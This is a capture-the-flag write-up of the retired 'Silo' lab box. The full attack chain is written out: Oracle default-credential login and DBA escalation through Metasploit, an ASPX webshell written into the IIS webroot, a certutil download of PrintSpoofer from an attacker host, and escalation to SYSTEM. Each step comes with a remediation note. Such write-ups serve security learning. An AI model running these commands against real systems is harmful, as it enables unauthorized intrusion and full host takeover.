Silo
Summary
A full TCP port scan surfaced a legacy Oracle Database 11g TNS listener still accepting the factory-default credential pair scott/<withheld>. Authenticated to the database, I leveraged a known Oracle index-privilege-escalation flaw to promote the limited SCOTT account to full DBA rights.
As DBA, I created an Oracle DIRECTORY object pointing at the IIS web server's document root and used Oracle's built-in DBMS_XSLPROCESSOR.CLOB2FILE package to write an ASP.NET command-execution webshell into that directory, bridging the database and operating-system layers. The webshell gave remote command execution as the IIS worker process, which held SeImpersonatePrivilege; PrintSpoofer was staged via certutil and used to coerce a SYSTEM-level named-pipe token, yielding full administrative control of the Windows Server 2012 R2 host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for scott>"Attack path — how the box was taken
Exact commands 3
Full TCP port sweep to identify all listening services.
$ nmap -p- --min-rate 3000 -T4 -Pn $TARGETVersion and default-script scan on key discovered ports.
$ nmap -sV -sC -p 80,135,139,445,1521,5985 -Pn $TARGETTest anonymous SMB share enumeration — returned STATUS_ACCESS_DENIED, ruling out unauthenticated SMB entry.
$ nxc smb $TARGET --sharesExact commands 1
Iterates common Oracle SID names against the unauthenticated listener; confirmed SID XE is active.
$ msfconsole -q -x "use auxiliary/scanner/oracle/sid_brute; set RHOSTS $TARGET; set RPORT 1521; run; exit"FixRemove Oracle default demonstration accounts and restrict TNS listener network accessCritical
Exact commands 3
Tests all Oracle default credential pairs against the discovered SID; recovered scott/$PASSWORD.
$ msfconsole -q -x "use auxiliary/admin/oracle/oracle_login; set RHOST $TARGET; set RPORT 1521; set SID XE; set CSVFILE /usr/share/metasploit-framework/data/wordlists/oracle_default_passwords.csv; run; exit"Credential-reuse check against SMB — returned STATUS_LOGON_FAILURE; database-only access confirmed.
$ nxc smb $TARGET -u scott -p $PASSWORDCredential-reuse check against WinRM — also failed.
$ nxc winrm $TARGET -u scott -p $PASSWORDExact commands 1
Injects a GRANT statement through the SYS-context index gadget; SCOTT is promoted to DBA upon success.
$ msfconsole -q -x "use auxiliary/admin/oracle/oracle_index_privesc; set RHOST $TARGET; set RPORT 1521; set SID XE; set DBUSER scott; set DBPASS $PASSWORD; set TABLE SYS.DUAL; set SQL GRANT DBA to SCOTT; run; exit"FixPatch Oracle Database or migrate to a supported release to eliminate the index-privilege-escalation vulnerabilityCritical
Exact commands 3
Creates the Oracle DIRECTORY object pointing at the IIS webroot; the path must be in single quotes — a bare unquoted path fails with ORA-01780.
$ msfconsole -q -x "use auxiliary/admin/oracle/oracle_sql; set RHOST $TARGET; set RPORT 1521; set SID XE; set DBUSER scott; set DBPASS $PASSWORD; set SQL CREATE OR REPLACE DIRECTORY WEBROOT AS 'C:\\inetpub\\wwwroot'; run; exit"Run a Metasploit resource file containing: BEGIN DBMS_XSLPROCESSOR.CLOB2FILE(TO_CLOB('<aspx_shell_source>'), 'WEBROOT', 's.aspx'); END; — writing the .aspx shell content to an .rc file avoids inline quoting complexity; replace <aspx_shell_source> with a standard cmd-exec ASP.NET shell template.
$ msfconsole -q -r /tmp/ora_shell.rcVerify the deployed webshell executes commands as the IIS worker process.
$ curl -s --get --data-urlencode "c=whoami" http://$TARGET/s.aspxFixPrevent Oracle from writing files into IIS-served directoriesCritical
Exact commands 2
Read the user flag through the webshell.
$ curl -s --get --data-urlencode "c=type C:\Users\Phineas\Desktop\user.txt" http://$TARGET/s.aspxEnumerate token privileges — SeImpersonatePrivilege: Enabled is the prerequisite for PrintSpoofer/potato-style SYSTEM escalation.
$ curl -s --get --data-urlencode "c=whoami /priv" http://$TARGET/s.aspxExact commands 4
Serve PrintSpoofer64.exe from my machine; run in a separate terminal before the following steps and replace $ATTACKER_IP with your HTB tun0 IP throughout.
$ python3 -m http.server 9000Download PrintSpoofer64.exe onto the target using the certutil LOLBin via the webshell.
$ curl -s --get --data-urlencode "c=certutil -urlcache -f http://$ATTACKER_IP:9000/win/PrintSpoofer64.exe C:\Windows\Temp\ps.exe" http://$TARGET/s.aspxVerify PrintSpoofer escalates to nt authority\system before reading the flag.
$ curl -s --get --data-urlencode "c=C:\Windows\Temp\ps.exe -c \"cmd /c whoami\"" http://$TARGET/s.aspx
nt authority\systemRead the root flag as NT AUTHORITY\SYSTEM.
$ curl -s --get --data-urlencode "c=C:\Windows\Temp\ps.exe -c \"cmd /c type C:\Users\Administrator\Desktop\root.txt\"" http://$TARGET/s.aspxFixRemove SeImpersonatePrivilege from IIS application pool identitiesHigh
Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 8.5 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 1521/tcp | oracle |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.